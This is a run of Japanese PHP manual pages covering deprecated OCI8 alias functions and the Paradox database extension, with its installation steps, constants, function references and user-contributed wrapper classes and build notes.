oci_rollback のエイリアス

  • ≪ ociresult
  • ocirowcount ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_rollback のエイリアス

ocirollback

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocirollback — oci_rollback() のエイリアス

説明

oci_rollback() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_num_rows のエイリアス

  • ≪ ocirollback
  • ocisavelob ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_num_rows のエイリアス

ocirowcount

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocirowcount — oci_num_rows() のエイリアス

説明

oci_num_rows() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


OCI-Lob::save のエイリアス

  • ≪ ocirowcount
  • ocisavelobfile ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • OCI-Lob::save のエイリアス

ocisavelob

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisavelob — OCI-Lob::save() のエイリアス

説明

OCI-Lob::save() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


OCI-Lob::import のエイリアス

  • ≪ ocisavelob
  • ociserverversion ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • OCI-Lob::import のエイリアス

ocisavelobfile

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisavelobfile — OCI-Lob::import() のエイリアス

説明

OCI-Lob::import() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_server_version のエイリアス

  • ≪ ocisavelobfile
  • ocisetprefetch ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_server_version のエイリアス

ociserverversion

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociserverversion — oci_server_version() のエイリアス

説明

oci_server_version() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_set_prefetch のエイリアス

  • ≪ ociserverversion
  • ocistatementtype ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_set_prefetch のエイリアス

ocisetprefetch

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocisetprefetch — oci_set_prefetch() のエイリアス

説明

oci_set_prefetch() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_statement_type のエイリアス

  • ≪ ocisetprefetch
  • ociwritelobtofile ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_statement_type のエイリアス

ocistatementtype

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocistatementtype — oci_statement_type() のエイリアス

説明

oci_statement_type() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


OCI-Lob::export のエイリアス

  • ≪ ocistatementtype
  • ociwritetemporarylob ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • OCI-Lob::export のエイリアス

ociwritelobtofile

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociwritelobtofile — OCI-Lob::export() のエイリアス

説明

OCI-Lob::export() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


OCI-Lob::writeTemporary のエイリアス

  • ≪ ociwritelobtofile
  • Paradox ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • OCI-Lob::writeTemporary のエイリアス

ociwritetemporarylob

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 1.0)

ociwritetemporarylob — OCI-Lob::writeTemporary() のエイリアス

説明

OCI-Lob::writeTemporary() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


Paradox ファイルアクセス

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Paradox 関数
    • px_close — paradox データベースを閉じる
    • px_create_fp — 新しい paradox データベースを作成する
    • px_date2string — 日付を文字列に変換する
    • px_delete_record — paradox データベースからレコードを削除する
    • px_delete — paradox データベースのリソースを削除する
    • px_get_field — 単一のフィールドの仕様を返す
    • px_get_info — paradox ファイルに関する多くの情報を返す
    • px_get_parameter — パラメータを取得する
    • px_get_record — paradox データベースのレコードを返す
    • px_get_schema — データベーススキーマを返す
    • px_get_value — 値を取得する
    • px_insert_record — paradox データベースにレコードを挿入する
    • px_new — 新しい paradox オブジェクトを作成する
    • px_numfields — データベース内のフィールドの数を返す
    • px_numrecords — データベース内のレコードの数を返す
    • px_open_fp — paradox データベースをオープンする
    • px_put_record — paradox データベースにレコードを保存する
    • px_retrieve_record — paradox データベースのレコードを返す
    • px_set_blob_file — blob を読み込むファイル名を設定する
    • px_set_parameter — パラメータを設定する
    • px_set_tablename — テーブルの名前を設定する (非推奨)
    • px_set_targetencoding — 文字フィールドのエンコーディングを設定する (非推奨)
    • px_set_value — 値を設定する
    • px_timestamp2string — タイムスタンプを文字列に変換する
    • px_update_record — paradox データベースのレコードを更新する

User Contributed Notes

qwexak 12-Dec-2015 05:27
A bit updated version of wilson's class

<?php

class Paradox {
    var $doc = NULL;
    var $file = NULL;
    var $row = NULL;
    var $field_default_value = "";
    var $field_slashes = false;
    var $field_trim = false;

    function Open($filename) {
        $this->doc = px_new();
        if (!$this->doc) {
            die("Paradox Error: px_new() failed.");
        }
        $this->file = fopen($filename, "r");
        if (!$this->file) {
            px_delete($this->doc);
            die("Paradox Error: fopen failed. Filename:$filename");
        }
        if (!px_open_fp($this->doc, $this->file)) {
            px_delete($this->doc);
            fclose($this->file);
            die("Paradox Erro: px_open_fp failed.");
        }
        return true;
    }

    function Close() {
        if ($this->doc) {
            px_close($this->doc);
            px_delete($this->doc);
        }
        if ($this->file) {
            fclose($this->file);
        }
    }

    function GetNumRows() {
        return px_numrecords($this->doc);
    }

    function GetRow($id) {
        try {
            $this->row = px_get_record($this->doc, $id);
            throw new Exception('no record');
        } catch (Exception $e) {
            return "Exception: " . $e->getMessage() . "\n";
        }
        return $this->row;
    }

    function GetRows($num = 0) {
        if (function_exists(px_retrieve_record)) {
            return px_retrieve_record($this->doc, $num);
        } else {
            return "Unsupported function (px_retrieve_record) in paradox ext.";
        }
    }

    function GetSchema() {
        return px_get_schema($this->doc);
    }

    function GetInfo() {
        return px_get_info($this->doc);
    }

    function GetStringfromDate($date, $format = "d.m.Y") {
        return px_date2string($this->doc, $date, $format);
    }

    function GetStringfromTimestamp($date, $format = "d.m.Y H:i:s") {
        return px_timestamp2string($this->doc, $date, $format);
    }

    function GetField($field, $trim = 0, $slash = 0) {
        if (!$this->row) {
            return false;
        }
        $value = isset($this->row[$field]) ? $this->row[$field] : $this->field_default_value;
        if ($this->field_slashes or $slash) {
            $value = addslashes($value);
        }
        if ($this->field_trim or $trim) {
            $value = trim($value);
        }
        return $value;
    }

    function GetFieldInfo($id = 0) {
        return px_get_field($this->doc, $id);
    }
}
?>
wilson dot p dot pereira at itelefonica dot com dot br 04-Sep-2008 12:22
<?php

/*
Implement class to use paradox functions
*/

class cParadox
{
    //members
    var $m_pxdoc = NULL;
    var $m_fp     = NULL;
    var $m_rs     = NULL;
    var $m_default_field_value = "";
    var $m_use_field_slashes = false;
    var $m_use_field_trim      = false;

    function Open($filename)
    {
        $this->m_pxdoc = px_new();
        if( !$this->m_pxdoc)
        {
            die ("cParadox Error: px_new() failed.");
        }

        $this->m_fp = fopen($filename, "r");

        if(!$this->m_fp)
        {
            px_delete($this->m_pxdoc);
            die ("cParadox Error: fopen failed.Filename:$filename");
        }

        if(!px_open_fp($this->m_pxdoc ,$this->m_fp) )
        {
            px_delete($this->m_pxdoc);
            fclose( $this->m_fp );
            die ("cParadox Erro: px_open_fp failed.");
        }

        return true;
    }

    function Close()
    {
        if ( $this->m_pxdoc )
        {
            px_close($this->m_pxdoc);
            px_delete($this->m_pxdoc);
        }

        if( $this->m_fp )
        {
            fclose( $this->m_fp );
        }
    }

    function GetNumRecords()
    {
        return px_numrecords($this->m_pxdoc);
    }

        function GetRecord($rec)
    {
        $this->m_rs = px_get_record($this->m_pxdoc ,$rec ,PX_KEYTOUPPER);
        return $this->m_rs;
    }

    function GetField($field ,$type=0, $format=0)
    {
        if ( !$this->m_rs )
        {
            return false;
        }

        $value = isset($this->m_rs[$field])? $this->m_rs[$field] : "";

        if ( $this->m_use_field_slashes )
        {
            $value = addslashes($value);
        }

        if ( $this->m_use_field_trim )
        {
            $value = trim($value);
        }

        return $value;
    }
};

usage example:
error_reporting(E_ERROR);
require_once("cparadox.inc");

$pdx = new cParadox();
$pdx->m_default_field_value = "?";//" ";

if ( $pdx->Open("USERS.DB") )
{
     $tot_rec = $pdx->GetNumRecords();
    if ( $tot_rec )
     {
        echo "<table border=1>\n";
        for($rec=0; $rec<$tot_rec; $rec++)
        {
             $pdx->GetRecord($rec);

            echo "<tr>";

            echo "<td>" . $rec;
            echo "<td>" . $pdx->GetField(CODE);
            echo "<td>" . $pdx->GetField(NAME);
        }
    }

    $pdx->Close();
}
?>


はじめに

このモジュールにより、Paradox データベースおよび プライマリインデックスファイル、blob ファイルへの読み書きが可能となります。 書き込み機能はきわめて信頼性の高いものとなっていますが、 出来上がったファイルが他のアプリケーションから読み込めない可能性もあります。 というのも、Paradox についての資料があまりないからです。 pxlib >= 0.5.0 を使用すると、パスワードを指定しなくても 暗号化されたデータベースを読み込めます。

注意:

このモジュールは開発途中であり、今後変更される可能性があります。 とはいえ、API に大きな変更はないでしょう。

警告

この拡張モジュールは、 実験的 なものです。この拡張モジュールの動作・ 関数名・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 このモジュールは自己責任で使用してください。

User Contributed Notes

There are no user contributed notes for this page.


要件

関数の基本セットを使用するには、少なくとも PHP 5.0.0 および pxlib >= 0.4.4 が必要です。いくつかの新しい関数は、 pxlib >= 0.6.0 でのみ使用可能となります。 暗号化されたデータベースの読み書きには、少なくとも pxlib >= 0.5.0 が必要です。 paradox ライブラリ (pxlib) は、 » http://pxlib.sourceforge.net で取得できます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/paradox

事前に pxlib をインストールしておいてください。 rpm や debian パッケージで pxlib をインストールした場合は、 開発者向けパッケージも忘れずにインストールしてください。

User Contributed Notes

Nikola Kotarov 22-Apr-2015 03:03
If you try on newer versions of php (like 5.5 and above) it is not working with pecl, so you need to do it manually. Get package, untar it and then apply this patch:

--- paradox-1.4.3/paradox.c    2007-09-25 15:12:42.000000000 +0300
+++ paradox.c    2015-04-22 16:42:13.399878251 +0300
@@ -48,7 +48,7 @@
  *
  * Every user visible function must have an entry in paradox_functions[].
  */
-function_entry paradox_functions[] = {
+zend_function_entry paradox_functions[] = {
     PHP_FE(px_new, NULL)
     PHP_FE(px_open_fp, NULL)
     PHP_FE(px_create_fp, NULL)
@@ -89,7 +89,7 @@
 };
 /* }}} */

-function_entry paradox_funcs_db[] = {
+zend_function_entry paradox_funcs_db[] = {
     PHP_ME_MAPPING(__construct, px_new, NULL, 0)
     PHP_ME_MAPPING(open_fp, px_open_fp, NULL, 0)
     PHP_ME_MAPPING(create_fp, px_create_fp, NULL, 0)
@@ -283,7 +283,7 @@

     ALLOC_HASHTABLE(intern->zo.properties);
     zend_hash_init(intern->zo.properties, 0, NULL, ZVAL_PTR_DTOR, 0);
-    zend_hash_copy(intern->zo.properties, &class_type->default_properties, (copy_ctor_func_t) zval_add_ref, (void *) &tmp, sizeof(zval *));
+    object_properties_init((zend_object*) &(intern->zo), class_type);

     intern->ptr = PX_new2(px_custom_errorhandler, px_emalloc, px_erealloc, px_efree);
     retval->handle = zend_objects_store_put(intern, paradox_object_dtor, NULL, NULL TSRMLS_CC);

then to compile it with

phpize
./configure
make
make install

You could do make test also, but some tests are broken.
admin at aldisa dot ca 24-Jan-2011 08:16
FreeBSD users BEWARE, this extension will not compile and install with the "pecl install paradox" command.

The configure script fails because it tries to use a library (libdl.a) that is available by default in Linux but not on FreeBSD.  I had to alter the configure script and install the package manually.

I have reported this on the package page as a bug, but there does not seem to be any movement in maintaining this package, so I am posting this here for anyone having trouble trying to install this package on FreeBSD.
etlapa 07-Aug-2010 12:21
This was my experience in Ubuntu distro. I install everything from console. Type:

    sudo aptitude install php-pear
    sudo aptitude install php5-dev
    sudo aptitude install pxlib1
    sudo aptitude install pxlib-dev

    sudo pecl install paradox

Display your php config by using the phpinfo() and
find the path shown at "Scan this dir for additional .ini files"

In my case I found "/etc/php5/apache2/conf.d"

At this path create a file name "paradox.ini" with this content:

    extension=paradox.so

Then type "php --info | grep paradox" to verify the configuration is read properly and there are no errors.  You should see something like...

     /etc/php.d/paradox.ini,
     paradox

service httpd restart. In my case:

    sudo /etc/init.d/apache2 restart
john dot navratil at sbcglobal dot net 20-Apr-2008 11:31
You will need 'pecl' and 'phpize'.  Make sure the php-pear (for pecl) and php-devel (for phpize) packages are installed.

Download pxlib package from pxlib.sourceforge.net.  expand/config/make/make install.  No tricks there.

pecl install paradox

Edit php.ini or, preferably, create /etc/php.d/paradox.ini to contain:

     extension=paradox.so

'php --info | grep paradox' to verify the configuration is read properly and there are no errors.  You should see something like...

     /etc/php.d/paradox.ini,
     paradox

service httpd restart


リソース型

px_new() は新しい Paradox オブジェクトを作成します。 これは、すべての Paradox 関数で必要となります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

以下のふたつの表で、paradox 拡張モジュールで定義されている全ての定数を示します。

フィールド型の定数
名前 | 意味
PX_FIELD_ALPHA | 固定長の文字データ
PX_FIELD_DATE | 日付。0000 年 1 月 1 日からの経過日数
PX_FIELD_SHORT | Short 型の整数 (2 バイト)
PX_FIELD_LONG | Long 型の整数 (4 バイト)
PX_FIELD_CURRENCY | PX_FIELD_NUMBER と同じ
PX_FIELD_NUMBER | Double
PX_FIELD_LOGICAL | Boolean
PX_FIELD_MEMOBLOB | バイナリラージオブジェクト
PX_FIELD_BLOB | バイナリラージオブジェクト (サポートされません)
PX_FIELD_FMTMEMOBLOB | バイナリラージオブジェクト
PX_FIELD_OLE | OLE オブジェクト (基本的に blob です。サポートされません)
PX_FIELD_GRAPHIC | 画像 (基本的に blob です。サポートされません)
PX_FIELD_TIME | 時刻。深夜 0 時からの経過ミリ秒数
PX_FIELD_TIMESTAMP | タイムスタンプ。0000 年 1 月 1 日からの経過ミリ秒数
PX_FIELD_AUTOINC | 自動インクリメントの整数 (PX_FIELD_LONG と似ています)
PX_FIELD_BCD | bcd フォーマットで保存された十進数 (サポートされません)
PX_FIELD_BYTES | 255 バイトをこえないバイト配列 (サポートされません)
PX_KEYTOLOWER | すべてのフィールド名を小文字にします
PX_KEYTOUPPER | すべてのフィールド名を大文字にします
ファイル型の定数
名前 | 意味
PX_FILE_INDEX_DB | インデックス化されたデータベース
PX_FILE_PRIM_INDEX | プライマリインデックス
PX_FILE_NON_INDEX_DB | インデックス化されていないデータベース
PX_FILE_NON_INC_SEC_INDEX | インクリメンタルでないセカンダリインデックス
PX_FILE_SEC_INDEX | セカンダリインデックス
PX_FILE_INC_SEC_INDEX | インクリメンタルなセカンダリインデックス
PX_FILE_NON_INC_SEC_INDEX_G | インクリメンタルでないセカンダリインデックス
PX_FILE_SEC_INDEX_G | セカンダリインデックス
PX_FILE_INC_SEC_INDEX_G | インクリメンタルなセカンダリインデックス

User Contributed Notes

There are no user contributed notes for this page.


Paradox 関数

オブジェクト指向の API

paradox 拡張モジュールは、オブジェクト指向の API も提供しています。 この中に含まれるクラスは paradox_db だけです。 そのメソッドと関数の違いは、まず名前、 そしてもちろん最初のパラメータがないことです。 次の表に、すべてのメソッドとそれに対応する関数を示します。

paradox_db クラスのメソッド
メソッド名 | 同等な関数
コンストラクタ | px_new()
デストラクタ | px_delete()
open_fp() | px_open_fp()
create_fp() | px_create_fp()
close() | px_close()
numrecords() | px_numrecords()
numfields() | px_numfields()
get_record() | px_get_record()
put_record() | px_put_record()
retrieve_record() | px_retrieve_record()
delete_record() | px_delete_record()
insert_record() | px_insert_record()
update_record() | px_update_record()
get_field() | px_get_field()
get_schema() | px_get_schema()
get_info() | px_get_info()
set_parameter() | px_set_parameter()
get_parameter() | px_get_parameter()
set_value() | px_set_value()
get_value() | px_get_value()
get_info() | px_get_info()
set_targetencoding() | px_set_targetencoding()
set_tablename() | px_set_tablename()
set_blob_file() | px_set_blob_file()
date2string() | px_date2string()
timestamp2string() | px_timestamp2string()

目次

  • px_close — paradox データベースを閉じる
  • px_create_fp — 新しい paradox データベースを作成する
  • px_date2string — 日付を文字列に変換する
  • px_delete_record — paradox データベースからレコードを削除する
  • px_delete — paradox データベースのリソースを削除する
  • px_get_field — 単一のフィールドの仕様を返す
  • px_get_info — paradox ファイルに関する多くの情報を返す
  • px_get_parameter — パラメータを取得する
  • px_get_record — paradox データベースのレコードを返す
  • px_get_schema — データベーススキーマを返す
  • px_get_value — 値を取得する
  • px_insert_record — paradox データベースにレコードを挿入する
  • px_new — 新しい paradox オブジェクトを作成する
  • px_numfields — データベース内のフィールドの数を返す
  • px_numrecords — データベース内のレコードの数を返す
  • px_open_fp — paradox データベースをオープンする
  • px_put_record — paradox データベースにレコードを保存する
  • px_retrieve_record — paradox データベースのレコードを返す
  • px_set_blob_file — blob を読み込むファイル名を設定する
  • px_set_parameter — パラメータを設定する
  • px_set_tablename — テーブルの名前を設定する (非推奨)
  • px_set_targetencoding — 文字フィールドのエンコーディングを設定する (非推奨)
  • px_set_value — 値を設定する
  • px_timestamp2string — タイムスタンプを文字列に変換する
  • px_update_record — paradox データベースのレコードを更新する

User Contributed Notes

john dot navratil at sbcglobal dot net 22-Dec-2006 08:06
Some difficulties were encountered installing this extension on php 5.1.6.  're2c' was not found.  On Fedora Core 5, php 5.1.6, I had to...

Install gc++ as re2c requires C++ and will not compile with the standard C compiler most often used.

Download re2c from sourceforge, untar, configure, make, make install.

Download pxlib from sourceforge, untar, configure, make, make install.

pecl install paradox (it has been moved from pear)


paradox データベースを閉じる

  • ≪ Paradox 関数
  • px_create_fp ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースを閉じる

px_close

(PECL paradox >= 1.0.0)

px_close — paradox データベースを閉じる

説明

px_close ( resource $pxdoc ) : bool

paradox データベースを閉じます。この関数は、ファイルは閉じません。 この後で fclose() をコールする必要があります。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • px_open_fp() - paradox データベースをオープンする
  • px_new() - 新しい paradox オブジェクトを作成する の例

User Contributed Notes

There are no user contributed notes for this page.


新しい paradox データベースを作成する

  • ≪ px_close
  • px_date2string ≫
  • PHP Manual
  • Paradox 関数
  • 新しい paradox データベースを作成する

px_create_fp

(PECL paradox >= 1.0.0)

px_create_fp — 新しい paradox データベースを作成する

説明

px_create_fp ( resource $pxdoc , resource $file , array $fielddesc ) : bool

新しい paradox データベースファイルを作成します。 実際のファイルは、事前に fopen() でオープンしておく必要があります。 ファイルが書き込み可能であることを確認してください。

注意:

この関数をコールすると「テーブル名が空である」という警告が発生しますが、 これは無視できます。単に、px_set_parameter() を使用して後からテーブル名を設定すればよいのです。

注意:

paradox のファイルフォーマットについての資料が不足しているため、 この関数は、きわめて実験的なものです。 この関数で作成したデータベースファイルは px_open_fp() や Paradox ソフトウェアでオープンできます。 しかしそこから先の道のりは大変でしょう。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

file

fopen() が返すファイルハンドル。

fielddesc

fielddesc は、各フィールドの設定を保持する配列です。 それぞれのフィールド設定は、2 つあるいは 3 つの要素を含む配列です。 最初の要素は常に文字列で、フィールドの名前を表します。 10 文字より長くなってはいけません。2 番目の要素にはフィールドの型を指定します。 これは、 フィールド型の定数 の表の中のどれかになります。文字列フィールドや bcd フィールドでは、 3 番目の要素でその要素の精度を指定します。 フィールド定義の中に blob フィールドが含まれている場合は、 確実にすべての値を格納できるだけのフィールドサイズを確保するか、 あるいは blob を保存する際に px_set_blob_file() でファイルを指定しなければなりません。さもないと、 フィールドのデータが切り詰められてしまいます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 2 つのフィールドを持つ Paradox データベースを作成する

<?php
if(!$pxdoc = px_new()) {
  /* エラー処理 */
}
$fp = fopen("test.db", "w+");
$fields = array(array("col1", "S"), array("col2", "I"));
if(!px_create_fp($pxdoc, $fp, $fields)) {
  /* エラー処理 */
}
px_set_parameter($pxdoc, "tablename", "testtable");
for($i=-50; $i<50; $i++) {
  $rec = array($i, -$i);
  px_put_record($pxdoc, $rec);
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

参考

  • px_new() - 新しい paradox オブジェクトを作成する
  • px_put_record() - paradox データベースにレコードを保存する
  • fopen() - ファイルまたは URL をオープンする

User Contributed Notes

Natanael Simes 22-Feb-2016 07:21
(Using php 5.5)

Values of constant field type appears to be inconsistent. Dumping values will show you integer values, including information retrived by px_get_field for type. Field specification in px_create_fp demands to be a char value, because number will be resolved as unknown types. Here is a list with value for each field type that actually works:

ALPHANUMERIC = A
DATE = D
SHORT INTEGER = D
LONG INTEGER = I
CURRENCY = $
NUMBER = N
DOUBLE = N
LOGICAL = L
BOOLEAN = L
MEMOBLOB = M
BLOG = B
FMTMEMOBLOB = F
OLE = O
GRAPHIC = G
TIME = T
TIMESTAMP = @
AUTOINC = +
BCD = #
BYTES = Y

<?php
$fields = array();
$id = array('id', '+'); // Field name = id, type = autoinc
$name = array('name', 'A', 80); // Field name = name, type = alpha, length = 80
array_push($fields, $id);
array_push($fields, $name);
if(!$pxdoc = px_new()) {
  /* Error handling */
}
$fp = fopen("test.db", "w+");
if(!px_create_fp($pxdoc, $fp, $fields)) {
  /* Error handling */
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

And that should do the job!


日付を文字列に変換する

  • ≪ px_create_fp
  • px_delete_record ≫
  • PHP Manual
  • Paradox 関数
  • 日付を文字列に変換する

px_date2string

(PECL paradox >= 1.4.0)

px_date2string — 日付を文字列に変換する

説明

px_date2string ( resource $pxdoc , int $value , string $format ) : string

paradox ファイルに保存されている日付を、人間が理解しやすい形式に変換します。 paradox の日付は、0000 年 1 月 1 日からの経過日数で保存されています。 この関数は利便性を高めるためだけのもので、 以下の例のように数学関数やカレンダー関数で同等のことを実現できます。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

value

PX_FIELD_DATE 型の paradox データベースフィールドに格納される値。

format

date() で使用するのと同じ形式の文字列フォーマット。 この関数がサポートするプレースホルダは、date() でサポートしているもの (Y, y, m, n, d, j, L) のサブセットです。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 paradox の日付を人間が理解しやすい形式に変換する

<?php
$px = px_new();

/* paradox db 形式の日付データを再現します。*/
/* 0000 年 1 月 1 日から 700000 日後です。*/
$days = 700000;

/* カレンダー関数を使用して、人間が理解しやすい形式で */
/* 日付を表示します。                                 */
echo jdtogregorian($days+1721425)."\n";
/* px_date2string() で同じように出力します。*/
echo px_date2string($px, $days, "n/d/Y")."\n";

px_delete($px);
?>

上の例の出力は以下となります。

7/15/1917
7/15/1917

参考

  • px_timestamp2string() - タイムスタンプを文字列に変換する
  • jdtogregorian() - ユリウス積算日をグレゴリウス日に変換する

User Contributed Notes

john dot navratil at sbcglobal dot net 21-Dec-2010 09:52
Date fields are retrieved as the number of days since 0 A.D. (I think), but not as anything resembling a date.  If you are exporting this data, you must used this function to convert.  Read the schema first to determine which fields are date fields...

<?php
$schema = $pxdoc->get_schema();

$dateFields = array();
foreach ($schema as $key => $attrs) {
    if ($attrs["type"] ==  PX_FIELD_DATE)    // Collect list of "date" columns
        $dateFields[] = $key;
}
?>

An export to a CSV format, for example, could them be written...

<?php
for ($rec = 0; $rec < $totRecs; ++$rec) {
    $arr = $pxdoc->get_record($rec);

    foreach ($dateFields as $key) {
        $arr[$key] = $pxdoc->date2string($arr[$key], "m/d/Y");
    }

    fputcsv(STDOUT, $arr);  // STDOUT only available with CLI
}
?>


paradox データベースからレコードを削除する

  • ≪ px_date2string
  • px_delete ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースからレコードを削除する

px_delete_record

(PECL paradox >= 1.4.0)

px_delete_record — paradox データベースからレコードを削除する

説明

px_delete_record ( resource $pxdoc , int $num ) : bool

この関数は、データベースからレコードを削除します。 データベースファイル内の領域を開放するわけではなく、単に削除マークをつけます。 その後、新しいレコードが挿入される際にこの領域が再利用されます。

注意:

この関数は、pxlib >= 0.6.0 が使用されている場合にのみ有効です。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

num

レコード番号は人為的な番号で、レコードがデータベースに格納された順番を表します。 最初のレコードの番号は 0 です。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


paradox データベースのリソースを削除する

  • ≪ px_delete_record
  • px_get_field ≫
  • PHP Manual
  • Paradox 関数
  • paradox データベースのリソースを削除する

px_delete

(PECL paradox >= 1.0.0)

px_delete — paradox データベースのリソースを削除する

説明

px_delete ( resource $pxdoc ) : bool

paradox ファイルのリソースを削除し、メモリを開放します。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


単一のフィールドの仕様を返す

  • ≪ px_delete
  • px_get_info ≫
  • PHP Manual
  • Paradox 関数
  • 単一のフィールドの仕様を返す

px_get_field

(PECL paradox >= 1.0.0)

px_get_field — 単一のフィールドの仕様を返す

説明

px_get_field ( resource $pxdoc , int $fieldno ) : array

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

fieldno

フィールド番号。最初のフィールドが 0 番となります。 0 より小さい番号やフィールド数以上の番号を指定すると、 エラーが発生します。

返り値

fieldno 番目のデータベースフィールドの仕様を、 連想配列で返します。 name、type および size という 3 つのフィールドが含まれます。

User Contributed Notes

There are no user contributed notes for this page.


paradox ファイルに関する多くの情報を返す

  • ≪ px_get_field
  • px_get_parameter ≫
  • PHP Manual
  • Paradox 関数
  • paradox ファイルに関する多くの情報を返す

px_get_info

(PECL paradox >= 1.0.0)

px_get_info — paradox ファイルに関する多くの情報を返す

説明

px_get_info ( resource $pxdoc ) : array

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

返り値

paradox ファイルに関する多くの情報を含む連想配列を返します。 この配列は、将来的にさらに拡張される予定です。

fileversion

ファイルのバージョンを 10 倍した値。例えば 70。

tablename

ファイルに格納されているテーブルの名前。pxlib が作成したデータベースの場合は、 ファイル名から拡張子を取り除いたものになります。

numrecords

このテーブルのレコード数。

numfields

このテーブルのフィールド数。

headersize

ヘッダが使用しているバイト数。通常は 0x800。

recordsize

各レコードが使用しているバイト数。すべてのフィールドサイズの和です (バージョン 1.4.2 以降で使用可能です)。

maxtablesize

データブロックのバイト数に 0x400 をかけた値。

numdatablocks

ファイル内のデータブロック数。各データブロックには 複数のレコードが含まれます。そのレコード数は、 レコードサイズおよびデータブロックサイズ (maxtablesize) に依存します。データブロック内が完全にデータで埋め尽くされる必要はありません。

numindexfields

プライマリインデックスに使用されるフィールドの数。 このフィールドは、常にフィールド番号 1 番から始まります。

codepage

文字データのフィールドをエンコードするために使用される DOS コードページ。px_set_targetencoding() で対象のエンコーディングが指定されていない場合、これが、 px_get_record() あるいは px_retrieve_record() でレコードが関連付けられた際の 文字フィールドのエンコーディングとなります。

参考

  • px_numfields() - データベース内のフィールドの数を返す
  • px_numrecords() - データベース内のレコードの数を返す

User Contributed Notes

There are no user contributed notes for this page.


パラメータを取得する

  • ≪ px_get_info
  • px_get_record ≫
  • PHP Manual
  • Paradox 関数
  • パラメータを取得する

px_get_parameter

(PECL paradox >= 1.1.0)

px_get_parameter — パラメータを取得する

説明

px_get_parameter ( resource $pxdoc , string $name ) : string|false

さまざまなパラメータを取得します。

パラメータ

pxdoc

px_new() が返す paradox データベースのリソース ID。

name

name は、以下のいずれかです。

tablename

データベースヘッダに格納されるテーブル名。

targetencoding

出力用のエンコーディング。 px_get_record() あるいは px_retrieve_record() で文字フィールドから読み込まれたデータは、 targetencoding で記録されます。指定されていない場合は、 データベースファイルに保存されている形式が使用されます。

inputencoding

入力データをデータベースに保存する際のエンコーディング。 文字フィールドのデータをデータベースに保存する際には、 データをこのエンコーディングに変換することになります。

返り値

パラメータの値、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


paradox データベースのレコードを返す

